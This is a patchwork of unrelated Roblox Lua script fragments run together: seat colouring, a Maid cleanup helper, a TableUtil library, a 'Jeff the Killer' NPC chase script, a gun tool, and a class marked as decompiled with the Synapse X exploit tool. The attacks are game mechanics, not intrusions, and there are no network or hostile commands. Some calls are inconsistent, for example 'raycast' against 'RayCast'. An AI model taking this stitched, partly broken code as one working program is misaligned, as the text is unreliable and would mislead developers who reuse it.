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--------AUDIENCE BACK LEFT--------
game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(1013) game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(1013) game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(1013) game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(1023) game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(1023) game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(1023) game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(106) game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(106) game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(106)
--- Add a task to clean up. Tasks given to a maid will be cleaned when -- maid[index] is set to a different value. -- @usage -- Maid[key] = (function) Adds a task to perform -- Maid[key] = (event connection) Manages an event connection -- Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up. -- Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method -- Maid[key] = nil Removes a named task. If the task is an event, it is disconnected. If it is an object, -- it is destroyed.
function Maid:__newindex(index, newTask) if Maid[index] ~= nil then error(("'%s' is reserved"):format(tostring(index)), 2) end local tasks = self._tasks local oldTask = tasks[index] if oldTask == newTask then return end tasks[index] = newTask if oldTask then if type(oldTask) == "function" then oldTask() elseif typeof(oldTask) == "RBXScriptConnection" then oldTask:Disconnect() elseif oldTask.Destroy then oldTask:Destroy() elseif oldTask.destroy then oldTask:destroy() end end end
--[[ TableUtil.Copy(tbl: table): table TableUtil.CopyShallow(tbl: table): table TableUtil.Sync(tbl: table, template: table): void TableUtil.FastRemove(tbl: table, index: number): void TableUtil.FastRemoveFirstValue(tbl: table, value: any): (boolean, number) TableUtil.Map(tbl: table, callback: (value: any) -> any): table TableUtil.Filter(tbl: table, callback: (value: any) -> boolean): table TableUtil.Reduce(tbl: table, callback: (accum: number, value: number) -> number [, initialValue: number]): number TableUtil.Assign(target: table, ...sources: table): table TableUtil.Extend(tbl: table, extension: table): table TableUtil.Reverse(tbl: table): table TableUtil.Shuffle(tbl: table [, rng: Random]): table TableUtil.Sample(tbl: table, sampleSize: number, [, rng: Random]): table TableUtil.Flat(tbl: table [, maxDepth: number = 1]): table TableUtil.FlatMap(tbl: callback: (value: any) -> table): table TableUtil.Keys(tbl: table): table TableUtil.Find(tbl: table, callback: (value: any) -> boolean): (any, number) TableUtil.Every(tbl: table, callback: (value: any) -> boolean): boolean TableUtil.Some(tbl: table, callback: (value: any) -> boolean): boolean TableUtil.IsEmpty(tbl: table): boolean TableUtil.EncodeJSON(tbl: table): string TableUtil.DecodeJSON(json: string): table --]]
type Table = {any} type MapPredicate = (any, any, Table) -> any type FilterPredicate = (any, any, Table) -> boolean type ReducePredicate = (number, any, any, Table) -> number type FindCallback = (any, any, Table) -> boolean local TableUtil = {} local HttpService = game:GetService("HttpService") local rng = Random.new() local function CopyTable(t: Table): Table assert(type(t) == "table", "First argument must be a table") local function Copy(tbl) local tCopy = table.create(#tbl) for k,v in pairs(tbl) do if type(v) == "table" then tCopy[k] = Copy(v) else tCopy[k] = v end end return tCopy end return Copy(t) end local function CopyTableShallow(t: Table): Table local tCopy = table.create(#t) if #t > 0 then table.move(t, 1, #t, 1, tCopy) else for k,v in pairs(t) do tCopy[k] = v end end return tCopy end local function Sync(srcTbl: Table, templateTbl: Table): Table assert(type(srcTbl) == "table", "First argument must be a table") assert(type(templateTbl) == "table", "Second argument must be a table") local tbl = CopyTableShallow(srcTbl) -- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl' -- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl' -- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl' for k,v in pairs(tbl) do local vTemplate = templateTbl[k] -- Remove keys not within template: if vTemplate == nil then tbl[k] = nil -- Synchronize data types: elseif type(v) ~= type(vTemplate) then if type(vTemplate) == "table" then tbl[k] = CopyTable(vTemplate) else tbl[k] = vTemplate end -- Synchronize sub-tables: elseif type(v) == "table" then tbl[k] = Sync(v, vTemplate) end end -- Add any missing keys: for k,vTemplate in pairs(templateTbl) do local v = tbl[k] if v == nil then if type(vTemplate) == "table" then tbl[k] = CopyTable(vTemplate) else tbl[k] = vTemplate end end end return tbl end local function FastRemove(t: Table, i: number) local n = #t t[i] = t[n] t[n] = nil end local function FastRemoveFirstValue(t: Table, v: any): (boolean, number?) local index: number? = table.find(t, v) if index then FastRemove(t, index) return true, index end return false, nil end local function Map(t: Table, f: MapPredicate): Table assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be a function") local newT = table.create(#t) for k,v in pairs(t) do newT[k] = f(v, k, t) end return newT end local function Filter(t: Table, f: FilterPredicate): Table assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be a function") local newT = table.create(#t) if #t > 0 then local n = 0 for i,v in ipairs(t) do if f(v, i, t) then n += 1 newT[n] = v end end else for k,v in pairs(t) do if f(v, k, t) then newT[k] = v end end end return newT end local function Reduce(t: Table, f: ReducePredicate, init: number?): number assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be a function") assert(init == nil or type(init) == "number", "Third argument must be a number or nil") local result = init or 0 for k,v in pairs(t) do result = f(result, v, k, t) end return result end local function Assign(target: Table, ...: Table): Table local tbl = CopyTableShallow(target) for _,src in ipairs({...}) do for k,v in pairs(src) do tbl[k] = v end end return tbl end local function Extend(target: Table, extension: Table): Table local tbl = CopyTableShallow(target) for _,v in ipairs(extension) do table.insert(tbl, v) end return tbl end local function Reverse(tbl: Table): Table local n = #tbl local tblRev = table.create(n) for i = 1,n do tblRev[i] = tbl[n - i + 1] end return tblRev end local function Shuffle(tbl: Table, rngOverride: Random?): Table assert(type(tbl) == "table", "First argument must be a table") local shuffled = CopyTableShallow(tbl) local random = rngOverride or rng for i = #tbl, 2, -1 do local j = random:NextInteger(1, i) shuffled[i], shuffled[j] = shuffled[j], shuffled[i] end return shuffled end local function Sample(tbl: Table, size: number, rngOverride: Random?): Table assert(type(tbl) == "table", "First argument must be a table") assert(type(size) == "number", "Second argument must be a number") local shuffled = CopyTableShallow(tbl) local sample = table.create(size) local random = rngOverride or rng local low = math.clamp(#tbl - size, 2, #tbl) for i = #tbl, low, -1 do local j = random:NextInteger(1, i) shuffled[i], shuffled[j] = shuffled[j], shuffled[i] end table.move(shuffled, 1, size, 1, sample) return sample end local function Flat(tbl: Table, depth: number?): Table local maxDepth: number = depth or 1 local flatTbl = table.create(#tbl) local function Scan(t: Table, d: number) for _,v in ipairs(t) do if type(v) == "table" and d < maxDepth then Scan(v, d + 1) else table.insert(flatTbl, v) end end end Scan(tbl, 0) return flatTbl end local function FlatMap(tbl: Table, callback: MapPredicate): Table return Flat(Map(tbl, callback)) end local function Keys(tbl: Table): Table local keys = table.create(#tbl) for k in pairs(tbl) do table.insert(keys, k) end return keys end local function Find(tbl: Table, callback: FindCallback): (any?, any?) for k,v in pairs(tbl) do if callback(v, k, tbl) then return v, k end end return nil, nil end local function Every(tbl: Table, callback: FindCallback): boolean for k,v in pairs(tbl) do if not callback(v, k, tbl) then return false end end return true end local function Some(tbl: Table, callback: FindCallback): boolean for k,v in pairs(tbl) do if callback(v, k, tbl) then return true end end return false end type IteratorFunc = (t: Table, k: any) -> (any, any) local function Zip(...): (IteratorFunc, Table, any) assert(select("#", ...) > 0, "Must supply at least 1 table") local function ZipIteratorArray(all: Table, k: number) k += 1 local values = {} for i,t in ipairs(all) do local v = t[k] if v ~= nil then values[i] = v else return nil, nil end end return k, values end local function ZipIteratorMap(all: Table, k: any) local values = {} for i,t in ipairs(all) do local v = next(t, k) if v ~= nil then values[i] = v else return nil, nil end end return k, values end local all = {...} if #all[1] > 0 then return ZipIteratorArray, all, 0 else return ZipIteratorMap, all, nil end end local function IsEmpty(tbl) return next(tbl) == nil end local function EncodeJSON(tbl: any): string return HttpService:JSONEncode(tbl) end local function DecodeJSON(str: string): any return HttpService:JSONDecode(str) end TableUtil.Copy = CopyTable TableUtil.CopyShallow = CopyTableShallow TableUtil.Sync = Sync TableUtil.FastRemove = FastRemove TableUtil.FastRemoveFirstValue = FastRemoveFirstValue TableUtil.Map = Map TableUtil.Filter = Filter TableUtil.Reduce = Reduce TableUtil.Assign = Assign TableUtil.Extend = Extend TableUtil.Reverse = Reverse TableUtil.Shuffle = Shuffle TableUtil.Sample = Sample TableUtil.Flat = Flat TableUtil.FlatMap = FlatMap TableUtil.Keys = Keys TableUtil.Find = Find TableUtil.Every = Every TableUtil.Some = Some TableUtil.Zip = Zip TableUtil.IsEmpty = IsEmpty TableUtil.EncodeJSON = EncodeJSON TableUtil.DecodeJSON = DecodeJSON return TableUtil
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; function FindNearestBae() local NoticeDistance=100; local TargetMain; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("Torso"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then Spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; Wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then FoundHumanoid:TakeDamage(4.5); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; Wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while Wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=true; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=true; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then Spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then Wait(0.5); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then Wait(0.2); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then JeffTheKillerHumanoid.WalkSpeed=20; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=0.004; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain")); end; else Notice=false; NoticeDebounce=false; local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=12; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="ColdBloodedKiller"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=true; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=500; JeffTheKillerHumanoid.JumpPower=60; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then JeffTheKillerHumanoid.Sit=false; end; end;
-- Decompiled with the Synapse X Luau decompiler.
local v1 = { Connected = true }; v1.__index = v1; function v1.Disconnect(p1) if p1.Connected then p1.Connected = false; p1.Connection:Disconnect(); end; end; function v1._new(p2) return setmetatable({ Connection = p2 }, v1); end; function v1.__tostring(p3) return "RbxScriptConnection<" .. tostring(p3.Connected) .. ">"; end; return v1;
--[[local gui = Instance.new("ScreenGui") local bg = Instance.new("Frame",gui) local bar = Instance.new("Frame",bg) local bvl = Instance.new("ImageLabel", bg) bvl.Name = "Bevel" bvl.BackgroundTransparency = 1 bvl.Image = "http://www.roblox.com/asset/?id=56852431" bvl.Size = UDim2.new(1,0,1,0) bg.Name = "Back" bar.Name = "Charge" bar.BackgroundColor3 = Color3.new(200/255,0/255,0/255) bg.BackgroundColor3 = Color3.new(200/255,200/255,200/255) bg.Size = UDim2.new(0,10,0,-100) bg.Position = UDim2.new(0,5,0,500) bar.Size = UDim2.new(0,4,-1,0) bar.Position = UDim2.new(0,3,1,0) ggui = gui:Clone() ggui.Name = "GunGui" ggui.Back.Charge.Size = UDim2.new(0,4,-(script.Charge.Value/100),0)]]
GroupID = 9999 function AntiGH(char1,char2) if GH then local plyr1 = game.Players:findFirstChild(char1.Name) local plyr2 = game.Players:findFirstChild(char2.Name) if plyr1 and plyr2 then if plyr1:IsInGroup(GroupID) and plyr2:IsInGroup(GroupID) then return false end end return true elseif not GH then return true end end MaxDist = 1000 function RayCast(Start,End,Ignore) if WallShoot then ray1 = Ray.new(Start, End.unit * 999.999) local Part1, TempPos = Workspace:FindPartOnRay(ray1,Ignore) ray2 = Ray.new(TempPos, End.unit * 999.999) local Part2, EndPos = Workspace:FindPartOnRay(ray2,Part1) return Part1, Part2, EndPos elseif not WallShoot then ray = Ray.new(Start, End.unit * 999.999) return Workspace:FindPartOnRay(ray,Ignore) end end function DmgPlr(Part) if Part ~= nil then local c = Instance.new("ObjectValue") c.Name = "creator" c.Value = game.Players:findFirstChild(script.Parent.Parent.Name) local hum = Part.Parent:findFirstChild("Humanoid") local hathum = Part.Parent.Parent:findFirstChild("Humanoid") local hat = Part.Parent if hathum ~= nil and hat:IsA("Hat") and AntiGH(hathum.Parent, script.Parent.Parent) then hathum:TakeDamage(Damage/1) Part.Parent = game.Workspace Part.CFrame = CFrame.new(Part.Position + Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))) hat:Remove() c.Parent = hathum game.Debris:AddItem(c,1.5) elseif hum ~= nil and AntiGH(hum.Parent, script.Parent.Parent) then if Part.Name == "Head" then hum:TakeDamage(Damage*1.3) end hum:TakeDamage(Damage) c.Parent = hum game.Debris:AddItem(c,1.5) end end end function onButton1Down(mouse) if script.Parent.Ammo.Value == 0 then else if GunType == 0 then if (not enabled) then return end enabled = false LaserShoot(mouse) if Flash then script.Parent.Barrel.Light.Light.Visible = true end script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1 wait(0.01) if Flash then script.Parent.Barrel.Light.Light.Visible = false end wait(1/SPS) enabled = true elseif GunType == 1 then automatichold = true while automatichold == true and script.Parent.Ammo.Value ~= 0 do wait() if (not enabled) then return end if script.Parent.Parent:findFirstChild("Humanoid").Health == 0 then script.Parent:Remove() end enabled = false LaserShoot(mouse) if Flash then script.Parent.Barrel.Light.Light.Visible = true end script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1 wait(0.01) if Flash then script.Parent.Barrel.Light.Light.Visible = false end wait(1/SPS) enabled = true end end end end function LaserShoot(mouse) hit = mouse.Hit.p local StartPos = script.Parent.Barrel.CFrame.p local rv = (StartPos-hit).magnitude/(Recoil * 20) local rcl = Vector3.new(math.random(-rv,rv),math.random(-rv,rv),math.random(-rv,rv)) aim = hit + rcl local P = Instance.new("Part") P.Name = "Bullet" P.formFactor = 3 P.BrickColor = BrickColor.new(BulletColor) P.Size = Vector3.new(1,1,1) P.Anchored = true P.CanCollide = false P.Transparency = 0.5 P.Parent = script.Parent.Parent local m = Instance.new("CylinderMesh") m.Name = "Mesh" m.Parent = P local c = Instance.new("ObjectValue") c.Name = "creator" c.Value = game.Players:findFirstChild(script.Parent.Parent.Name) pewsound = script:FindFirstChild("Fire") if pewsound then pewsound:Play() end --Brick created. Moving on to next part local SPos = script.Parent.Barrel.CFrame.p if WallShoot then local Part1, Part2, EndPos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent) DmgPlr(Part1) DmgPlr(Part2) if Part1 and Part2 then local enddist = (EndPos-SPos).magnitude P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-enddist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.04,enddist,.04) else P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.04,MaxDist,.04) end elseif not WallShoot then local Part, Pos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent) DmgPlr(Part) if Part then local dist = (Pos-SPos).magnitude P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-dist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.1,dist,.1) else P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0) m.Scale = Vector3.new(.1,MaxDist,.1) end end game.Debris:AddItem(P,.1) end function onButton1Up(mouse) automatichold = false end function onKeyDown(key, mouse) if key:lower() == "r" then if script.Parent.Ammo.Value ~= script.Parent.MaxAmmo.Value then reloadsound = script:FindFirstChild("Reload") if reloadsound then reloadsound:Play() end enabled = false script.Parent.VisibleB.Value = true script.Parent.StringValue.Value = "Reloading" repeat script.Parent.StringValue.Value = "Reloading" wait(0.15) script.Parent.Ammo.Value = script.Parent.Ammo.Value + 3 script.Parent.StringValue.Value = "Reloading" until script.Parent.Ammo.Value >= script.Parent.MaxAmmo.Value script.Parent.Ammo.Value = script.Parent.MaxAmmo.Value wait(0.2) script.Parent.VisibleB.Value = false enabled = true end end if key:lower() == "m" then if GunType == 1 then GunType = 0 Recoil = 6 else GunType = 1 Recoil = 5 end end end function onEquipped(mouse) equipped = true if mouse == nil then print("Mouse not found") return end mouse.Icon = "http://www.roblox.com/asset/?id=52812029" mouse.Button1Down:connect(function() onButton1Down(mouse) end) mouse.Button1Up:connect(function() onButton1Up(mouse) end) mouse.KeyDown:connect(function(key) onKeyDown(key, mouse) end) end function onUnequipped(mouse) equipped = false automatichold = false end script.Parent.Equipped:connect(onEquipped) script.Parent.Unequipped:connect(onUnequipped) while true do wait() if script.Parent.Ammo.Value == 0 then script.Parent.VisibleB.Value = true script.Parent.StringValue.Value = "Reload" end if GunType == 1 then script.Parent.ModeText.Value = "Auto" else script.Parent.ModeText.Value = "Semi" end end
